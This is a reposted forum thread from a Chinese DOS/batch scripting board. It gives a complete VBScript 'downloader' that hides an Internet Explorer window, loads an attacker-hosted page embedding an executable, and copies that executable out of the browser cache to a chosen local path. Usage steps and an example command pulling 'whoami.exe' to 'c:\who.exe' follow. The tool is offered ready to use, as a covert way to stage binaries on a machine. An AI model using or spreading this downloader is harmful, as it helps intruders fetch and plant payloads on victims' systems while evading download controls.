![]() |
中国DOS联盟-- 联合DOS 推动DOS 发展DOS --联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum |
| 游客 | 登录 | 注册 | 会员 | 搜索 | 中国DOS联盟 |
|
中国DOS联盟论坛 现在时间是 2026-08-07 01:00 |
共 48,040 主题排行 / 350,125 发帖 / 今日 1 篇 / 48,252 会员排行 |
| DOS批处理 & 脚本技术(批处理室) » [转贴] = vbs 下载者中用 InternetExplorer |
| 可打印版本 693 / 0 |
| 第1楼 ooaf | 发表于 2007-12-30 21:47 |
| 中级用户 发帖 162 积分 313 | |
|
[转贴] = vbs 下载者中用 InternetExplorer =
URL = WScript.Arguments(0) exeName = WScript.Arguments(1) If InStr(exeName, ".") > 0 Then tmp = Left(exeName,InStrRev(exeName, ".")-1) tmp2 = Right(exeName,Len(exeName) - InStrRev(exeName, ".") + 1) FindFileName = tmp & "" & tmp2 End If LocalName = WScript.Arguments(2) set ie=wscript.createobject("internetexplorer.application") ie.visible = 0 ie.navigate URL WScript.Echo "Create and Exec IE to your HTTP Server ..." WScript.Sleep(5000) ie.quit WScript.Echo "Get the file ..." set objshell= WScript.Createobject("WScript.Shell") strValue = objshell.RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\paths\Directory") ShowAllFile(strValue) WScript.Echo "download Fail :(" Sub ShowAllFile(Path) Set FSO = CreateObject("Scripting.FileSystemObject") Set f = FSO.GetFolder(Path) Set fc = f.SubFolders For Each f1 in fc If FSO.FileExists(path&"\"&f1.name&"\"&FindFileName) Then FSO.CopyFile path&"\"&f1.name&"\"&FindFileName, LocalName WScript.Echo "Download Success !" WScript.Quit End If ShowAllFile path&"\"&f1.name Next Set FSO = Nothing End Sub 使用方法: 1、在你的web目录放上一个htm文件,内容包含要下载的文件。如:<script src=520.exe></script> 2、CScript get.vbs 第一步的网页URL 网页包含的文件名 本地保存路径 例子:CScript get.vbs http://www.0x54.org/lake2/get.htm whoami.exe c:\who.exe PS:脚本使用了5秒钟作为下载文件的时间,可以改成等待下载完毕再继续的,不过基本上够用 |
|
|
[ 联系联盟系统管理团队 -
中国DOS联盟 -
标准版 ] Sponsored by ifanr Inc | © 2001–2023 |